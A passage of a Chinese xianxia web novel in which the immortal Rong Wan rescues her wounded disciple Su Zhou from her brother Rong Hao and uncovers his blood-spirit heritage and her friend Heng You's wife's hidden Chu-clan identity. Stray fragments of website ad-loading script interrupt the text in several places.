夙昼身形变换幻,手中剑光肆虐,他灵力剑招不如钟尽一那般运筹帷幄,便以身法为先。 两人一来一回,直至灵钟敲过三响、又敲过一响。 明氏家主明黎宣告:“夙昼对钟尽一,平。” 夙昼心性好胜,他忍着不忿同钟尽一颔首示意。 等到回到容晚身边,脸几乎要垮下来,他随手将剑搁在怀里,忽然有些幽怨道:“师父知道我会同他平局吗?” “平局……”容晚从不是会说些善意谎言的性子,她手中翻阅灵册不停,抽出几分思绪回道:“我以为你会输。” 夙昼脸色越发不好,他盯着手中玉签上第一场次的结果,心脏跳跃得极快,不过几念,他便说服自己。 “师父,我输给他,不是因为他天赋比我强,又或者是我不够努力。而是他比我多了时间。” 夙昼盯着容晚的神情,一字一句地问道:“谁让我从小不习剑、不读书,整日里只知往巷尾跑……” 他一点点试探她,“只知去找一颗我怎么都找不到的树。” 容晚指尖一颤,稳住心性道:“为什么要找树?” “不知道。”夙昼拿着一张锦帕擦拭着手中的剑锋,“我好像做过一个梦,梦里我也是执过剑的。” “这样啊,看来你的天赋异禀,找到源头了。”容晚淡淡回他一句,便提笔写着北域的布防。 她的回答毫无错漏。 这样的试探,夙昼在过往里问过许多次,每一次她都回答得毫无问题。 就好像,曾经人间界的十年相伴不过是一个梦,属于他自己的一个梦。 夙昼望着容晚的侧脸,他看得愣神,许久才问出一句:“师父,您后悔带我回上因吗?” 这一次,容晚回答得很快。 她说:“我不知。” 心底那股异样的情绪漫上来,夙昼狠狠掐住掌心的软肉,他还努力扬起笑,凑到容晚跟前,说:“师父,我不后悔。” - “晚晚收他为徒?什么时候的事。”容皓收回冰冷的目光,侧过脸,质询绯泉,“为何此事不报?” “上仙这些年很少带他外出,两人在大庭广众之下同行,少之又少。上仙在北域的住处偏僻,上仙又亲手布下数种灵阵法印,暗探若强入,只怕上仙会大怒。”绯泉观察这容皓的神色,这才一句句说下去,立刻跪地请罪道:“是我等无能。” “她在人间界那些时日,也是如此?” “日日如此,上仙在皇城大阵中又设灵阵,凡是所到之处,必有灵阵防护。暗探属实难以接近。” “今日因定阶会不允设下灵阵防护,我居然才知晓,她真是……真是……”容皓自嘲道:“她如此是在防我?” 一不小心便能惹容皓大怒的问题,绯泉不敢作答,只是将头垂得更低,许久,说出一句:“绯泉无能。” “起来。”容皓幻化那颗留影珠,道:“交给晚晚。” 绯泉身形立刻消散,他前去容晚所在楼阁外静候,迟疑许久,道:“上仙,绯泉求见。” 门扇开合,绯泉立于容晚身侧,微微俯身,道:“上仙,首座将此物交您。” “夙昼,接着。”容晚正捏诀排演北域边防的灵阵,无暇伸手。 夙昼自绯泉手中接过,留影珠自行催动,他看见其中影像,心中一颤,却装得无事发生般,问:“师父,这灵器做什么用?” “留影之用。”容晚道:“你想要便拿着。” 夙昼此举正合绯泉心意,他又道:“上仙,家妹在北域可曾安好?不曾为上仙添些麻烦。” “不会。”容晚淡淡道:“首座可还有其他的事?” “并未,叨扰上仙了。”绯泉临走前俯身一礼,道:“忘记恭贺上仙,新收弟子。” 话落,绯泉离去。他这一句虽是恭贺,分明提醒之意更多。 他在提醒容晚,字字句句所言,皆落容皓之耳。 容晚猛然抬头,撞进容皓讳莫如深的目光中,他微微偏着头,眸光里的杀意直冲夙昼。 毕竟做了千余年的兄妹,容晚知道,他心中介怀。 容皓定是想起当年上因宫中,她那句“我有一个看中的徒弟,他想要不晴剑,我赠了他,他若想要上因剑,也不是不可以。” 如今她逼上因钟氏家主自裁、同人界先王薛弃闲做交易、以白衣的身份闹得三界皆知。 种种事情,容皓自然起疑,他担心她想做三界共主,更担心她会扶持夙昼。 容皓哪里知道,她所作所为从不为共主,只是想回家罢了。 从前他待她好,她知道这不过是假的,她想回家。 如今,他对她不好,她更是想回家。 - 接下来的几日,夙昼除去第一场对上钟尽一,后续夙昼抽中的对手少有能胜他之人。 无需夙昼出场的赛事,容晚便躲在梅林小院内,一遍遍排演北域边防灵阵。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> “上仙,衡游上仙过来了,时才他在定阶场灵台上发了好大的脾气。”碧落为容晚换过新茶,道:“不知薛铎使了什么手段,第一场便对上薛沐,出手狠厉,看似点到为止,实则薛沐受伤不轻。” 容晚搁笔,问道:“你哥哥这几日陪首座前来,不去见见吗?” “我不见。”碧落眼睛眨巴眨巴,有些细碎的泪花,“他逼我嫁人,我不见。” 容晚点头,她说不出宽慰之话,她不能完全地理解碧落,自然也不能劝她。 经过梅林时,容晚提点了几句夙昼练剑之式,嘱咐道:“午后定阶不曾有你,专心练剑。如今雪域来人混杂,你不要离开这里。” 想杀他的人太多。容皓向来不出席定阶会,这一次属实奇怪,叫容晚不得不防。 而同他情况相似的另一位,还有褚尽欢,这位大爷日常从不参与各种三界会事。这一次更是叫她心生担忧。 夙昼冲她一笑,道:“师父,我会听话,我真的会听话。” 容晚扬唇一笑,穿过繁茂如海的梅林,一入定阶场,便听见衡游立于灵台上,眉目通红。 “薛铎!” 衡游手中剑锋将出—— 容晚飞身而去,按住他的手腕,道:“二人皆是你的弟子,不要落人口舌,说你偏袒薛沐。” 她望见薛沐情形,仰躺在地,衣着干净,只是熟睡一般,虽未死,但情况属实不大好。 衡游同容晚多年至交,自是对她信任无比,他怒视着薛铎,一步步走至薛沐身前,手起灵阵,稳固薛沐周身大穴。 “师父,您总是偏心薛沐的。”薛铎一袭黑衣,内里则是明黄色,领口可见细密的龙纹。薛铎冷声道:“薛沐实力太差,怎就成了我残害同门?” 衡游忧心薛沐伤势,将薛铎种种激将话语置之度外。 “薛铎,如今是不是该称你一句‘陛下’?”容晚声音极淡,她身如长风,扣住薛铎的脖颈,一个细小的传音灵阵轮转。 远在高台楼阁之上的容皓、褚尽欢,同时眉目不悦,他们听不见容晚所说为何。 只是褚尽欢片刻后眉目舒展,她能通薛铎说些什么?就算说了,薛铎也会一五一十地告诉他。 而容皓,脸色极冷,他起身欲走,见绯泉跟随,沉声道:“本座独行,晚晚若离去,传音给我。” - “薛铎,你这皇位来路不正吧。”容晚冷声一句,道:“薛沐身中灵阵法印,是哪一阵?” “我有诏书、有兵符,何来不正?上仙,多虑了。”薛铎又道:“所谓灵阵,我只不过担心自己的性命罢了,同生同死,上仙可解?” 同生同死,是诡道禁阵之一,其中大多残阵,皆由容皓所补绘,容晚不懂。 “上仙,您有空在这里管别人家的弟子死活?怎么不去看顾您自家的弟子啊?” 薛铎声音越发尖锐,他说着便狂笑起来,道:“上仙真是好师父,区区十年,便叫灵元尽碎之人有如此实力。可惜,这世上有的是人,不想要他活!” 容晚一愣,她回头望见容皓所在处,空空如也。 绯泉面色极为难看,他眼中极为深切地望向容晚。 容晚顾不上其他,一招令薛铎定于原地,她闪身朝梅林飞去。 33. 雪域寒霜 风雪来得猛烈,碎梅残瓣飘落一地。 遥遥望去,只见一片纷白,却有一处,落梅红得似血。 一个男子身着白衣,手中执着一柄剑,他迎风雪而立,连风雪都避他而过。 容晚望着他脚下那堆莫名凸起的雪堆,其间混杂着染血的落梅。 她颤抖着手去碰,却被骤起的诡道符文直冲入体。 诡道符文游走她的经脉,容晚难耐地溢出痛呼声,难以动作。她忍下所有的痛,将唇间血沫悉数吞咽。 那双清冷的眸染上微红血色,她问:“容皓,这么多年,你勤修诡道是为了今日困我吗?” “晚晚,哥哥从未想过你会有一日,向着旁人。”容皓俯身摘去她发间的落花,碾碎成灰。 容晚听见他音色中的愠怒,冷声道:“我心向上因,不在旁人。” “不在旁人?晚晚,那哥哥是你所说的旁人?” “我不曾说过。” “那个贱种不是旁人,所以你向着他。” “是。”容晚有问有答,句句激起容皓怒意,叫他心性不稳,“数百年前,我当哥哥不是旁人,才将上因首座——让给你。但是现在,我不想了。” “你不配。”容晚声音极淡,“我后悔了。” “哈哈哈……那晚晚别怪哥哥,谁叫你背叛我?”容皓掌心凝出如虹如雪的符文,一道道欲冲向容晚。 容晚猛然抬手,数道灵文化作烟雾将那些符文寸寸绞碎,顺着灵脉一寸寸刺入容皓灵脉。 “你——”容皓身形一颤,他僵硬着立于原地,却不耐灵文阵法直跪在地。 “觉得不可能?你觉得我不可能挣脱诡道符文,是不是?你凭什么觉得我还会像从前一样,毫无保留地信任你?”容晚直起身,抬手拭去唇边的血迹。 到底她对容皓有些兄妹情分,过去的一千五百多年不是假的。 哈哈,容皓,所谓情分。 今日他在梅林困她,因为她碍了他的大道。 可你自始至终,碍着我回家的路。 容晚手中幻剑,逼近容皓的脖颈,问:“他呢?” “死了啊……也许在禁狱?也许随便在哪个地方?”容皓毫不反抗,甚至往剑锋凑去。 下一瞬—— 如雪剑光飞而直下,在逼近容皓命脉时,容晚生生止住剑风,“他呢!” 压抑许久的情绪一起爆发,容晚心中忽然有些怨恨,怨恨系统将她带来这里,将她置于风波漩涡,逼她一步步做那些争权夺利之事。 明明她只是想回家。 “晚晚!”容皓见她眸中漾起血色,急声呵斥道:“冷静!” 这么些年,容皓从未见过她如此情形,脆弱得似乎下一瞬便要自戕。 “他呢?”容晚声音淡然如风,“又要交换吗?用钟鸣玺印还是人间界——” “夙州!”容皓急声道:“他在夙州。” 留夙昼一命,必坏日后大事。但这一瞬间,容皓将所谓的权势抛开,只想看见容晚眼中恢复一丝清明。 越过跪倒在地的容皓,容晚的衣裳随风,拂过容皓侧脸、指尖。 他问:“如果他死了呢?” “他会活下去。”容晚道:“他若死了,我也会死。” 我会再也不能回家。 “胡闹——”容皓怒道。 下一瞬,容晚在光雾中散去身形。 容皓胸膛剧烈地起伏着,他不顾灵脉爆冲,一寸寸挣脱容晚所下灵文,骤然出剑。 剑过之处,暴雪与残梅齐飞。 许久、许久,容皓脱力般仰躺在地,这一刻,他忽觉心口发痛,容晚一字一句,比剑光还要夺人性命。 几近让他与暴雪同葬。 - 穿过层层结界大阵,望见终年不化的大雪封城,便是夙州。 若按从前历法,夙州此时正值夏日,此时容晚只能望见一片白茫茫。 时过境迁,冰雪掩骨,仍有大片角落能望见刺目的红。 这一切,好似和从前一般。 她一路骑着墨麒行路,不曾落地,不敢踏过此间任何一寸雪。 一入夙州,容晚感应着夙昼体内残存的灵阵,她多年前设下的寻他踪迹的灵阵。 灵阵被容皓毁坏得彻底,她追踪着残余的气息,驱使墨麒一步百里。 这里的景色波澜又壮阔,有冰封千里的山脊丛林,有暴雪瀑淋下的亭台楼阁,有跃出湖面的冰封鱼群,有那一颗终年不会枯萎、郁郁葱葱的紫藤花树。 串串落花被冰雪串联,缀于树梢枝桠,仿佛这里的时间只是静止了数十年一般。 隔着数百丈的高空,容晚望见一道曲折、蜿蜒的红线,红线不知自何而起,绕过乌衣巷的条条街道。 大雪掩城,低矮的房屋、狭窄的巷道统统不见。 那道红线绕了许久的弯路。 当年血案,乌衣巷尾因容晚当年所下禁制,凡人不可得见,才落得如今干干净净的模样。 容晚飞身而下,纵然身轻,她以灵力前行,踏雪无痕。 墨麒跟在她身后,在雪深处玩闹。 待到近处细看,容晚颤抖着指尖去触碰那道所谓的红线。 鲜血淋漓,泛着浅浅的金光。 哪里是红线啊? 容晚脚步忙乱地沿着血痕往前跑,一步步跑进乌衣巷尾,停在一处房屋前。 这是容晚昔年在人间界的旧居。 当年得知夙昼就是系统所说的少年反派,容晚在系统的要求下,洗去夙昼同她在人间界十年的记忆。 “如今,你不是凡人了,所以你找来这里了对不对?” 望着古旧门扇上,那个如人形的血印,容晚伸手碰了碰,忍住心中的痛惜,推开那扇门。 过往匆匆,十年时光成瞬,涌入她脑中。 顺着血痕一步步往屋内走,容晚绕到后院,眼前这一幕,叫她难以呼吸。 一个血人。 他卧在院角的那颗冰封的无花果树下,毫无声息。 容晚飞奔过去探他灵脉,泪水滴落,树上随风坠落的冰晶一颗颗砸落在地。 容晚以自身灵力、仙元稳固他的心脉,她不知道自己在难过什么。 是回家的路也许功亏一篑吗?还是夙昼如今情状,她担心他会死去。 泪水一颗一颗砸落在夙昼身上,容晚轻轻唤他的名字,“阿昼,我是师父。” 夙州自封后,这里不再有黑夜和白昼。 同衡游传音后,容晚握住夙昼的手腕,感受着夙昼一点点跳动的脉搏,源源不断地输入灵力。 不知过去了多久,衡游牵着一只灵鸢进了巷尾。灵鸢背上驼了一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 个人。 望见一路血痕,他生怕是容晚的血迹。一见到无花果树下的两人,衡游浅浅松了口气。 薛沐如今虽伤,已能走动。他从灵鸢背上蹭下来,担忧道:“师父,他会死吗?” “衡游?”容晚听见薛沐的声音,猛然抬眸,发间、肩上落的冰晶簌簌地落下来。 碎冰融化,又复冻,容晚的指尖抬不起来,同夙昼的手腕冻在一起。 她声音中是浓重的委屈,“我不知道怎么办?衡游,我想回家。” 数千年来,容晚第一次同衡游提及那个不在此间的家。 衡游指尖溢出温润的灵力,包裹着冰天雪地下的两人。 望着夙昼惨白的脸色,容晚在衡游的指点下,设下数处引灵法阵,源源不断地为他吸纳灵气。 “你不必担心。”衡游仔细探看过夙昼的灵脉,道:“容皓下手固然凶狠,但诡道一术不至于将这小子重伤至此。毕竟——我们从前设下的灵阵起到很大用处。” “是谁?”容晚问。 “我觉得没有旁人,像是他自己。”衡游手下正在替夙昼扎针,一寸寸疏通灵脉。 “他或许为了蒙蔽容皓,用那颗奇怪的珠子,在容皓的诡道符文冲入灵脉前,一寸寸自碎灵脉。”衡游查看着他的伤势,下定结论:“但还有一个问题,他在哪里弄的这一身血。我们都清楚,首座杀人,从不搞这些血腥的场面。” “是啊。”容晚抬手,取出夙昼胸口的那颗琉璃珠。 珠内无数细密的红色光点冲撞彼此,而十多年前琉璃珠进入夙昼身体时,其中光点远不如今日细密繁多。 衡游大惊道:“他到哪弄的这么多血灵?” “血灵?”容晚觉得这个词眼有些熟悉,见夙昼在引灵阵下恢复迅速的灵气,她想起一件事。 血灵。 以自身鲜血饲养生灵,灵生不尽,不死不灭,源源相生。 这是原剧情中夙昼走向三界共主的最大助力。远比她这个所谓的白月光师尊的助力要大得多。 容晚向来坦诚。 第一瞬间,她有些兴奋。距离结局那一日越近,她回家的日子便越近。 可血灵出世,三界大乱。 容晚简单地同衡游聊过,他难得沉默下来,好半响憋出一句,“我想掐死他。” “死不了。”容晚又问:“衡游,你相信人有注定的命运,怎么努力,怎么改变,都挣不脱的命运。” 就好像她同夙昼发生的所有故事,都同原剧情不同,可偏偏—— 一步一步走向注定的结局。 “命?”衡游笑道:“你还记得得小时候那个仙官算我活不过一千六百岁,可是我大前年刚过了一千六百岁生辰。” 容晚难得有些笑意,“他也算我活不过一千六百岁,但我生辰还没有过。” “他不准。”衡游这会功夫,将夙昼身上扎得像刺猬。 “薛沐还躺在隔壁啊,我去看他,这俩小子,一病病一块去了,难办!” 容晚送他离开,回身便见夙昼睁开双眼,愣愣地望向屋内的装饰。 这里同十多年前毫无分别。 “什么时候记起来的?”容晚问。 夙昼偏过头,他望着床榻边那盏竖高的九鸢灯烛,其上刻痕颇多。 像是回到了当年那日。 34. 雪域寒霜 灯火跃动,明黄的光影照映在容晚面上,衬得她骨相绝佳。 时间不曾在她的容貌上留下痕迹,可夙昼不同,他从父母双全的世家子弟到家破人亡,从十六七岁到二十六七岁, 灵脉、灵元碎过好几回,如今又是一回。 “师父说什么?”夙昼只作听不懂她在问什么,“难道我方才忘记了师父?” “不是。”容晚捕捉到他脸上细微的神色变化,再未多问,拿过药盏,道:“既然醒了,自己喝药。” “师父,起不来。”夙昼语意中沾染些撒娇的意味,见容晚不动,他声音渐渐冷下来,“我没忘,师父方才唤我阿昼,我记得。” “师父为我流泪了。”夙昼下意识想坐起身,却牵连到满身的银针,痛呼出声。 “不要乱动。”容晚一勺一勺喂他喝药。 “好苦。”夙昼喝到一半,不愿再喝,他挣扎着抬起扎满银针的手,抓住容晚的衣袖。 “师父,您为什么哭?”夙昼不记得那一刻冰天雪地里的痛,只记得她灼热的泪一滴滴砸在他脸上。 “不为什么。”容晚拿着药盏出门,任夙昼在身后呼喊,她回手扔出一道白光。 夙昼缓缓合上双眼,呼吸绵长起来。 出屋后,容晚盯着自己衣裳上的血愣神。 指尖捏诀,一瞬之间,她便换一身清清爽爽的绸纸衣衫,同昔年在人间界时常穿的款式一模一样。 裙衫外是绣满浅彩色的紫藤外袍,腰间没有勒人的束腰。唯一的装饰只见她耳垂上坠着的两颗紫玉小珠。 换过衣裳,容晚一步步走至院中。 鲜血染红落雪,那道蜿蜒血痕爬过大半个夙州。 只见容晚抬手捏诀,精妙的灵阵自小院生发,迅速向周边蔓延,直至掩盖掉所有的夺目血痕。 她灵识无边,可望千里之外。她望见有些角落刺目的血凝结成冰,指尖一动,猛烈的风雪朝夙州扑来。 不过一瞬,地上落下一层白。 咯吱—— 诊治过薛沐,衡游从侧屋中出来,望见容晚舒适的一身裙衫,笑道:“上仙,哦,不,容姑娘终于再回人间了。” 容晚脸上不见笑意,却提起兴致同衡游说笑,“衡公子,许久未见啊。” 二人来来回回调笑过几句。容晚在乌衣巷尾的小院设下繁重的结界,她用尽毕生所学一道道设下灵阵法印。 衡游见此,补上容晚未设的灵阵。二人多年好友,他自是知容晚所想,便道:“我们离开后,此处应当安全。容皓就算强破,所用时间也足够我们赶回来。” “衡游,走了。” “去哪儿?” “你知道我要出门,却不知道我们去哪儿?” “我又不是首座,从小时候开始,你们俩行事方式都差不多,想什么也大差不差。” “所以,容皓不会来了,他们俩在这里很安全。” “啊?为什么?” 因为—— 也许是我吓到他了吧。也许除却权力高位,容皓还是在意我这个妹妹的生死。 二人追着夙昼留下的那道血痕,一路清除,以防别有用心之人追寻至此。 容晚和衡游立于墨麒背上,他们二人行路极快,不出片刻,停于一处山林上空。 “怎么不下去?”衡游问。 “自当年血案后,夙州无处不是尸身,我不敢踩雪。”容晚拍了下兽头,墨麒王低空飞,她寻着血痕中的灵气,往前追去。 血痕止于桃林,再往外便出了夙州边境。 “是夙氏的墓林。”容晚飞跃而下,她踏雪无痕,步步往前走。 这里山势较高,又是背风之处,积雪寒冰不多,能窥见几分旧时样貌。 “这里和落乌那一处墓林阴阳相生,难道是血灵的来源?”衡游越说越觉得惊恐,道:“这是哪门子传承啊?简直是太奇葩了吧。” “祖祖辈辈积攒的灵力,怪不得啊。”容晚一面和衡游说话,一面寻到阵中,只见一间同落乌墓室无二的墓室。 “熟悉吗?”容晚问。 “不是完全的一模一样,方向相反。一阴一阳,方能守恒。”衡游猛然想起什么,他拽过容晚腰间的玉牌,在里面翻来翻去,终于摸出一本《落乌世家典选》。 翻来翻去,衡游停在其中一页,问道:“数万年前,落乌的第一任君首是谁,你还记得吗?” “谁?”容晚有些茫然。她不喜欢史学这一门,又在上因长大,只了解一些上因简史。 仅有的知道的这一些,还是当年仙学里必须要学的内容。 “落乌第一任君首咒宿,残忍、嗜杀,落乌百家倾尽全力共伐,足足用去一千多年。” 衡游又翻到另一页,没找到想要的内容,玉牌内翻来翻去,又去找另外几本极厚丛书,关于落乌禁咒、密辛一类。 手中这本自然丢在容晚怀里,她看着其上的文字,语意颇为尴尬,道:“君首名姓这里是落乌古文吗?什么意思?” “咒宿。符咒的咒,星宿的宿。”衡游终于翻到内容,字字读过,心中凉意波澜,道:“血灵一术,咒宿首创。” 衡游又翻开另一本,“野史传闻,咒宿留有一子,血脉未断。我之前修人间界简史,夙州夙氏一脉,似乎非人间界本土人氏……” “容、容晚。”衡游字句颤抖,道:“他不会是咒宿后人吧。咒宿,夙昼,连名字都像。” “如果真的是呢?”容晚思及过去种种,语气微凉,道:“人间界凡人生不出三灵混体。血灵一术,连褚尽欢都不会,他却有这样一份传承。” “衡游,我们在死斗场见过他出招。十年修行便有如此境界,任何一个天赋异禀之人都做不到。” 他们不曾进去那间墓室,夙昼来过,这里便不再有任何价值。 自这一刻起,容晚对夙昼的身世起疑。他难道不是夙家主和夙夫人的孩子? 原剧情中从未发生的事情,在这一刻,让容晚觉得忧惧。 如若夙昼是咒宿一脉的后人,那他似乎更有资格去做落乌君首的位置。 “咒宿在落乌可有旧部吗?” 容晚坐在墨麒背上,时不时揪下墨麒几根毛。 “这。”衡游以脚指着墨麒,道:“据说当年墨色麒麟兽先祖正是咒宿坐骑。另有传闻,褚氏祖上、我母亲祖上昔日都是咒宿旧部。” “那为什么……当年百家共伐?” “咒宿当年开创落乌,那个时候他就嗜杀,可是百家依然崇他为首。后来百家共伐,我倒觉得 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不是因为他嗜杀,而是别的原因。比如他开创血灵一术,招人嫉恨?” 衡游手中的几本书自行翻来翻去,他一眼三本,一目三十行。 “衡游,你娶的是哪家姑娘?”容晚忽然问道。 “啊?”衡游道:“阿意没有什么家世,无父无母。” 他忽然有些浅浅的怒意,问:“是不是我爹让你来劝我和离?” “没有。” 容晚并未生气,衡游对这事过于敏感,好些年才遇到一个喜欢的姑娘,又同衡廷肃大吵一架,心中自然不快。 她只是觉得阿意这个名字有些耳熟。 “没有?”衡游反问道。 “真的没有。” “想你也不敢骗我。” “那她叫什么名讳?”容晚隐隐有一个猜测,她回想起那姑娘的面容,眉眼之间似乎和一个人有些重合。 “阿意。” “姓什么?” “她没有姓。” “嗯?” 容晚耐着性子和这位情史匮乏的仙上解释道:“衡游,你们成婚那日虽说客人不多,但布景、婚服极为豪奢,礼金动辄数十万魔玉,她怎么可能是没有家世的姑娘。更何况——你父亲向来克扣你的灵石,你哪里买得起落乌主城的宅子?” “阿意说,那是友人所赠。” “友人?你怎么不送我几百万灵石呢?” “你知道我没有。” 百辩不通,容晚放弃从他这里获得阿意的消息,只问:“你有多喜欢她?” 衡游眼眸中流露出欣喜之意,他眼中的柔情这些年容晚从未见过。 好半响,衡游深思熟虑地说出一个答案:“我不知道。但是你和阿意打架的话,我一定帮她。” 容晚不曾有过情事,她也没喜欢过什么人。 听过衡游的比喻,她有点想骂他重色轻友,却更加在意为何衡廷肃百般阻挠。 难道是—— 昔年衡廷肃曾用她强破禁狱诡道的审判书求她一事。历来公正清明的仙长从不徇私,却以此要她救衡游一命。 莫不是这一劫同阿意有关? “你伤心了?”衡游见她神色略低沉,宽慰道:“容晚,我们从小就认识,你和阿意不一样,她和你打架会输的,我得帮她。” “我才没有。”容晚眨掉眼中的泪光,只是问:“喜欢她是什么感觉?” “我见到她就开心,想到她就会笑。”衡游认真道:“容晚,我觉得她比我的命还重要。” “你回去吧。”容晚道:“我有不懂的地方可以同你传音。” “赶我走?”衡游驳道:“怎么你要成就大业就不带我了?三界共主之争,我看好你!” “衡游,你如今成家了,要回去陪她。” “不怕。阿意应允的,她说男子成家立业,要我跟着你好好立业,她也看好你。” “你同她说过我们要做的事?”容晚心中的警钟敲响。 只听衡游愣道:“对啊,她怎么会知道?” 容晚驱使着墨麒转向,直奔落乌。 她心中恐慌一点也不比衡游少。 阿意,阿意,是谁都可以。 唯独不要是褚氏的小小姐,千万不要是褚尽欢的胞妹。 35. 三千灵阶 不出一刻,容晚同衡游赶到落乌,守门的两个小厮一望见衡游便迎过来。 还未走到跟前,容晚骤然出手,扣住其中一人的手腕,她未用灵力,可那小厮痛得吱哇乱叫:“上仙饶命。”又冲着衡游喊:“上仙救我!” 衡游撇过脸,淡然地望向天空。 “别装。”容晚杀招一出,凌厉的掌风已至小厮命门。 起初小厮只是退让,偏偏身法灵活得不像寻常小厮。见容晚招招要人性命,他即将出手时—— 容晚已然收手,冷声道:“心法招式是落乌褚氏,杀招身法想必在杀域算得上高手,居然在这儿守门?” 衡游大惊:“褚氏?夫人在何处?”他一面问,一面提着小厮的耳朵往宅院里走。 “上仙……上仙,夫人她去买衣裳了。”小厮眼皮一翻,撒谎道:“我也不知几时回来啊?” “又想挨揍?”容晚道。 “上仙,您——”小厮的神情显然是认识容晚的,但他被容晚试探过身法,只觉多说多错,索性闭口不言。 “你家小姐在哪儿?”容晚目光一冷,盯着小厮的眼睛问:“不见得是去买衣裳了。你若不说,我不过多费些时间走一趟褚氏。我想,阿意成婚之事你们老家主、少家主还不知情吧?” “啊……上仙,小小姐同君首去定阶会了。”小厮坦白道,他又扯着容晚的衣袖祈求:“您能不能别说是我说的啊!小小姐知道了得一掌拍死我。” 衡游纵有心理准备,他还是心慌,强撑着才能看起来波澜不惊。 褚尽欢的胞妹!那个昔年几人一同求学时,他天天挂在嘴边,但衡游容晚从没见过的妹妹! 褚尽欢知道,怕是要杀了他…… 等等—— 阿意说她不习武、不懂法术…… “夫人往常柔弱……皆是装的?”衡游目瞪口呆,他哪里想过自家妻子不仅家世雄厚而且……甚是能打。 眼见小厮点点头,回道:“落乌世家女子,少有灵阶能及小小姐……” 衡游脚步一软,还没倒在地上,便被容晚带着飞身而走。 容晚驱使着墨麒直返雪域,中途绕道经过落乌军营,她垂眼一看,只见整装待发、排兵布阵,一眼望不见尽头的魔兽与大军。 衡游惊得从阿意欺骗他的事情中分出心神,叹道:“真的要打仗了,落乌这是打算倾巢而出吗?” 他还想说,便听见灵识内几道聒噪的传音。 “师父——夙昼逼我拔了他身上的针!他居然敢把我定在床上,他居然自己去定阶会了!他居然不带我!” 薛沐嚎啕得大声,又道:“我出不去结界,他怎么出去的啊?您不是说他一身伤,灵脉碎完了吗?啊啊啊!” 衡游听闻,吓了一大跳。他告诉容晚,只见容晚闻言皱眉,脸色十分不好看。 容晚抬手在墨麒脑袋上拍了一下,说:“你再偷懒,我自己用传送阵印去,但是你那些灵鸢蛋蛋的灵气以后自己想办法。” “灵鸢蛋”这几个字一出,墨麒霎时间逐风赶雾,速度快上数倍,不出片刻,稳稳停于雪域上空。 一入雪域,容晚刻意瞟过一眼边防大阵,完好无损,守境兵力一如既往。 衡游走在容晚身侧有些沉闷。 他们一入定阶场,便见灵台之上两道黑色的身影激烈缠斗。两人未曾飞至楼阁,太过引人瞩目,索性藏在人群里观赛。 “是那小子?”衡游不由得瞪大双眼,惊道:“从我们离开夙州,到现在不过一个时辰。可他灵脉修复,修为大成。看来他是把所有灵力凝聚到琉璃珠内自封,蒙蔽容皓后,又去夙州桃山滋养血灵。容晚,他太可怕了。” “是啊。”容晚道:“连我都有些羡慕,苦苦修行不及天赋传承。可惜——只有力量,招式不精,心法难以融会贯通,所以他赢不了容皓,也赢不了许多人。” 衡游感叹道:“怪不得对上钟尽一也能平局,这小子藏拙啊!” 容晚摇头,所谓平局,只能说钟尽一向来惜才爱才,定阶会数年一开,他只是觉得平局是最好的选择。 “钟尽一未尽全力?”衡游问。 “倒也不是。”容晚目光一直落在灵台上的两人,道:“你不关心你的弟子?薛铎向来勤奋,从前你挺喜欢他的。” “呃……你知道,我最近在考虑要不要把他逐出师门。”衡游盘算着,薛铎心性已近走火入魔,孽徒而已。 “不行。”容晚估摸着再有几招,薛铎会败。 “啊?”衡游不解。 “逐出师门,是他所愿。”容晚道:“我们现在还需要用上因律法拴住他。他想要名正言顺,就绝不会自断前程,叛出师门。” “孽徒……他居然为了这,在定阶场上把薛沐打成重伤,偏偏章法巧妙,又叫人挑不出错处。”衡游心性纯真,为人率性,偏偏收了个黑心的徒弟。 “等等——现在是在比什么?”容晚算过时间,初选应当已过,岂不是三千灵阶竞逐场。 “三千灵阶?”衡游同一个小弟子交头接耳,打听得七七八八,才凑到容晚身前说:“薛铎挑战第2457位胜,夙昼赶来时,灵钟即将三敲,险些误时。他一入场,便选了薛铎。可他的实力不必先选薛铎啊” “薛沐。”容晚提醒道:“看,和薛铎压制薛沐的打法一模一样。” 衡游的目光投过去,只见薛铎几近败下阵来,夙昼宛如在逗弄他一般,打得毫无章法,偏偏所用灵力磅礴,压得薛铎一点点喘不过气。 “想赢?”夙昼出剑横至薛铎身前,道:“还是想杀薛沐?你坐人间界的帝王还来比什么三千灵阶?” “你故意的。”薛铎擦去唇边鲜血,讥笑道:“你牛什么啊?谁不知道你这一身灵脉灵力都是拜容晚所赐?装什么啊!” “啊——”薛铎痛呼出声。 敢提她? 夙昼听见这话,剑意猛然张狂起来,眼见横劈下来时,夙昼收回剑锋。 一袭黑衣,执剑而立。 明氏家主宣告夙昼胜。 容晚下意识抬眸去寻容皓,只见楼阁上空无一人,唯有绯泉静静地站在那里。 褚尽欢倒是坐在现场,偏偏双目紧闭,好似睡着了一般,不见喜怒。 “薛铎。”夙昼俯身拉薛铎起身,这一拉,灵力顺着经脉涌入薛铎体内,薛铎瞬时间五脏六腑阵痛。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> “幸会。”夙昼淡淡道。 “滚。”薛铎甩开他,眸光越过重重人海,落在衡游脸上,道:“师父,我可是太高兴了,下回见。” 薛铎既输,便再无留在现场之用。他朝人间界薛氏所属楼阁上一望,一行人飞身而下,瞬时间离开定阶场。 “不至于……”容晚沉思道:“三千灵阶第两千四百多名,不至于输给薛铎。” “是不至于。可薛氏长老,输给薛铎就挺正常。”衡游撇嘴道:“我可没教过他这样啊。” “师父。”夙昼朝容晚走来,自知有错,讨饶道:“三千灵阶定阶,我答应过您。” 他忽然身形不稳,朝容晚直直砸了下来。 容晚伸手扶他,黑衣上渗出的血迹落在容晚衣裳上,点点鲜红。 “受伤了?”容晚不满他私自前来,却也不曾责备,道:“恐怕不是薛铎打的,而是你自己强摘灵针,修复灵脉太过急切,灵力爆冲,连血脉都爆掉了。” “师父聪慧至极。”夙昼懒洋洋地直起身,转而问衡游:“师叔啊,可否给我止止血?”他不舒服地动了几下,哀叹道:“血一直流,和衣裳粘在一起太难受了,师叔。” “这时候知道喊师叔?不治!”衡游话虽如此,手下利落地出针。 